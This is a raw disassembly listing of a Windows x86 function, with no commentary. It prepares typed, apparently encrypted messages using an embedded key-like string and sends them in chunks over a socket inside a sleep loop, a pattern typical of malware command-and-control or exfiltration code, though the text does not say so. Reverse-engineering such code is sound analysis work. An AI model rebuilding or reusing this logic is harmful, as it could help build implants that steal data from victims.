push dword [ebp - 0xf0dc]
lea eax, [edx + 0x5000]
mov ecx, esi
sub ecx, edx
mov edi, 0x5000
cmp eax, esi
lea eax, [ebp - 0x504c]
cmova edi, ecx
push edi
push 1
push eax
mov dword [ebp - 0xf0d0], edi
call fcn.00405b05
lea esi, [edi + 1]
push esi
call fcn.0040153a
push edi
lea ecx, [ebp - 0x504c]
mov dword [ebp - 0xf0a0], eax
push ecx
lea ecx, [eax + 1]
mov byte [eax], 6
push ecx
call fcn.00404440
movups xmm0, xmmword [str._YKAY__R7C9_M8.219.10.126]
mov ecx, dword [ebp - 0xf0a0]
lea eax, [ebp - 0xf0f8]
push 1
push eax
lea eax, [ebp - 0x20]
mov edx, esi
push eax
movups xmmword [ebp - 0x20], xmm0
call fcn.00414b00
mov edi, dword [ebp - 0xf0f8]
add esp, 0x2c
movzx ecx, di
mov dword [ebp - 0xf0fc], ecx
mov ecx, dword [ebp - 0xf060]
mov dword [ebp - 0xf0c0], eax
cmp ecx, 0xffffffff
jne 0x413d91
xor dl, dl
xor al, al
jmp 0x413e30
xor esi, esi
test edi, edi
je 0x413c4b
mov edx, dword [ebp - 0xf0c0]
mov eax, 0x400
sub eax, edx
mov dword [ebp - 0xf0ac], eax
add edx, esi
add eax, edx
cmp eax, edi
jbe 0x413d4e
mov eax, edi
sub eax, esi
jmp 0x413d53
mov eax, 0x400
push 0
push eax
push edx
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, eax
mov dword [ebp - 0xf09c], ecx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0xf060]
je 0x413c2a
add esi, 0x400
cmp esi, edi
jae 0x413c3f
mov eax, dword [ebp - 0xf0ac]
mov edx, dword [ebp - 0xf0c0]
jmp 0x413d40
push 0
push 2
lea eax, [ebp - 0xf0fc]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0xf060]
mov esi, eax
cmp esi, 0xffffffff
jne 0x413dc6
cmp ecx, eax
je 0x413dc3
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
or ecx, esi
mov dword [ebp - 0xf060], ecx
cmp esi, 0xffffffff
setne dl
mov byte [ebp - 0xf095], dl
cmp ecx, 0xffffffff
jne 0x413dd8
xor al, al
jmp 0x413e30
or eax, 0xffffffff
cmp edi, 0x400
ja 0x413e68
push 0
push edi
push dword [ebp - 0xf0c0]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xf0c4], eax
cmp eax, 0xffffffff
jne 0x413e24
mov ecx, dword [ebp - 0xf060]
cmp ecx, 0xffffffff
je 0x413e24
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 0xf0c4]
mov dword [ebp - 0xf060], 0xffffffff
mov dl, byte [ebp - 0xf095]
cmp eax, 0xffffffff
setne al
test al, dl
je 0x413ed0
push dword [ebp - 0xf0a0]
call fcn.004012fc
mov edx, dword [ebp - 0xf09c]
add esp, 4
add edx, dword [ebp - 0xf0d0]
mov esi, dword [ebp - 0xf0b0]
mov dword [ebp - 0xf09c], edx
cmp edx, esi
jb 0x413c80
jmp 0x413edc
xor esi, esi
test edi, edi
je 0x413e2a
mov edx, dword [ebp - 0xf0c0]
mov eax, 0x400
sub eax, edx
mov dword [ebp - 0xf0ac], eax
add edx, esi
add eax, edx
cmp eax, edi
jbe 0x413e8f
mov eax, edi
sub eax, esi
jmp 0x413e94
mov eax, 0x400
push 0
push eax
push edx
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xf0c4], eax
cmp eax, 0xffffffff
je 0x413e02
add esi, 0x400
cmp esi, edi
jae 0x413e24
mov ecx, dword [ebp - 0xf060]
mov eax, dword [ebp - 0xf0ac]
mov edx, dword [ebp - 0xf0c0]
jmp 0x413e81
mov edx, dword [ebp - 0xf09c]
mov esi, dword [ebp - 0xf0b0]
mov edi, dword [ebp - 0xf0b4]
cmp edx, esi
mov eax, 0xffffffff
cmovne edi, eax
mov eax, dword [ebp - 0xf0dc]
test eax, eax
je 0x413f09
push eax
call fcn.00405177
add esp, 4
mov dword [ebp - 0xf0dc], 0
push dword [ebp - 0xf0c8]
call fcn.0040153a
mov ecx, dword [ebp - 0xf0a8]
mov esi, eax
mov eax, dword [ebp - 0xf0bc]
mov dword [ebp - 0xf0ac], esi
mov dword [esi + 1], edi
movzx edi, ax
push edi
push dword [ebp - 0xf0a4]
mov word [esi + 7], cx
lea ecx, [esi + 9]
push ecx
mov byte [esi], 7
mov word [esi + 5], ax
call fcn.00404440
mov ecx, dword [ebp - 0xf0a8]
movzx eax, cx
push eax
push dword [ebp - 0xf0b8]
lea eax, [edi + 9]
add eax, esi
push eax
call fcn.00404440
movups xmm0, xmmword [str._YKAY__R7C9_M8.219.10.126]
mov edx, dword [ebp - 0xf0c8]
lea eax, [ebp - 0xf104]
push 1
push eax
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
movups xmmword [ebp - 0x20], xmm0
call fcn.00414b00
mov edi, dword [ebp - 0xf104]
add esp, 0x28
movzx ecx, di
mov esi, eax
mov dword [ebp - 0xf128], ecx
mov ecx, dword [ebp - 0xf060]
mov dword [ebp - 0xf0a0], esi
cmp ecx, 0xffffffff
jne 0x413fb7
xor dl, dl
xor al, al
jmp 0x41405d
push 0
push 2
lea eax, [ebp - 0xf128]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0xf060]
mov dword [ebp - 0xf0d0], eax
cmp eax, 0xffffffff
jne 0x413ff7
cmp ecx, eax
je 0x413ff4
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 0xf0d0]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
cmp eax, 0xffffffff
setne dl
mov byte [ebp - 0xf095], dl
cmp ecx, 0xffffffff
jne 0x414009
xor al, al
jmp 0x41405d
or eax, 0xffffffff
cmp edi, 0x400
ja 0x4140a0
push 0
push edi
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, eax
mov dword [ebp - 0xf09c], ecx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0xf060]
jne 0x41404b
cmp ecx, 0xffffffff
je 0x41404b
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
mov dl, byte [ebp - 0xf095]
mov eax, dword [ebp - 0xf09c]
cmp eax, 0xffffffff
setne al
test dl, al
je 0x4142b3
push dword [ebp - 0xf0ac]
call fcn.004012fc
add esp, 4
push dword [ebp - 0xf0b8]
call fcn.004012fc
push dword [ebp - 0xf0a4]
call fcn.004012fc
mov edi, dword [ebp - 0xf0cc]
add esp, 8
push edi
call fcn.004012fc
add esp, 4
jmp 0x412d46
xor esi, esi
test edi, edi
je 0x414057
mov edx, dword [ebp - 0xf0a0]
mov eax, 0x400
sub eax, edx
mov dword [ebp - 0xf0d0], eax
nop dword [eax]
add edx, esi
add eax, edx
cmp eax, edi
jbe 0x4140ce
mov eax, edi
sub eax, esi
jmp 0x4140d3
mov eax, 0x400
push 0
push eax
push edx
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, eax
mov dword [ebp - 0xf09c], ecx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0xf060]
je 0x414036
add esi, 0x400
cmp esi, edi
jae 0x41404b
mov eax, dword [ebp - 0xf0d0]
mov edx, dword [ebp - 0xf0a0]
jmp 0x4140c0
cmp al, 8
je 0x4142ad
push edi
call fcn.004012fc
add esp, 4
jmp 0x412d46
cmp ecx, 0xffffffff
je 0x4142b3
push ecx
call edi
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
jmp 0x4142b3
add edi, 9
add esi, edi
push esi
call fcn.0040153a
push dword [ebp - 0xf0a4]
mov edi, eax
mov eax, dword [ebp - 0xf0b8]
push dword [ebp - 0xf0c4]
mov dword [ebp - 0xf0ac], edi
mov dword [edi + 1], eax
lea ecx, [edi + 9]
mov eax, dword [ebp - 0xf0bc]
mov word [edi + 5], ax
mov eax, dword [ebp - 0xf0b0]
push ecx
mov byte [edi], 4
mov word [edi + 7], ax
call fcn.00404440
push dword [ebp - 0xf0c8]
mov eax, dword [ebp - 0xf0a4]
push dword [ebp - 0xf0a8]
add eax, 9
add eax, edi
push eax
call fcn.00404440
movups xmm0, xmmword [str._YKAY__R7C9_M8.219.10.126]
push 1
lea eax, [ebp - 0xf10c]
mov edx, esi
push eax
lea eax, [ebp - 0x20]
mov ecx, edi
push eax
movups xmmword [ebp - 0x20], xmm0
call fcn.00414b00
mov edi, dword [ebp - 0xf10c]
add esp, 0x28
movzx ecx, di
mov esi, eax
mov dword [ebp - 0xf110], ecx
mov ecx, dword [ebp - 0xf060]
mov dword [ebp - 0xf0a0], esi
cmp ecx, 0xffffffff
jne 0x4141f5
xor dl, dl
xor al, al
jmp 0x41429b
push 0
push 2
lea eax, [ebp - 0xf110]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0xf060]
mov dword [ebp - 0xf0d0], eax
cmp eax, 0xffffffff
jne 0x414235
cmp ecx, eax
je 0x414232
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 0xf0d0]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
cmp eax, 0xffffffff
setne dl
mov byte [ebp - 0xf095], dl
cmp ecx, 0xffffffff
jne 0x414247
xor al, al
jmp 0x41429b
or eax, 0xffffffff
cmp edi, 0x400
ja 0x414313
push 0
push edi
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, eax
mov dword [ebp - 0xf0a8], ecx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0xf060]
jne 0x414289
cmp ecx, 0xffffffff
je 0x414289
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
or ecx, 0xffffffff
mov dword [ebp - 0xf060], ecx
mov dl, byte [ebp - 0xf095]
mov eax, dword [ebp - 0xf0a8]
cmp eax, 0xffffffff
setne al
test dl, al
je 0x4142b3
push dword [ebp - 0xf0ac]
call fcn.004012fc
add esp, 4
mov ecx, dword [ebp - 0xf060]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [0x41d982]
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0xf068]
mov esi, dword [sym.imp.WS2_32.dll_send]
cmp edx, 0x10
jb 0x412b20
mov ecx, dword [ebp - 0xf07c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x414304
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4143a6
push edx
push ecx
call fcn.0040152c
add esp, 8
jmp 0x412b13
xor esi, esi
test edi, edi
je 0x414295
mov edx, dword [ebp - 0xf0a0]
mov eax, 0x400
sub eax, edx
mov dword [ebp - 0xf0d0], eax
add edx, esi
add eax, edx
cmp eax, edi
jbe 0x41433e
mov eax, edi
sub eax, esi
jmp 0x414343
mov eax, 0x400
push 0
push eax
push edx
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, eax
mov dword [ebp - 0xf0a8], ecx
cmp ecx, 0xffffffff
mov ecx, dword [ebp - 0xf060]
je 0x414274
add esi, 0x400
cmp esi, edi
jae 0x414289
mov eax, dword [ebp - 0xf0d0]
mov edx, dword [ebp - 0xf0a0]
jmp 0x414330
mov eax, dword [ebp - 0xf060]
cmp eax, 0xffffffff
je 0x412c9c
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 0xf060], 0xffffffff
jmp 0x412c9c
call fcn.00405dfc
int3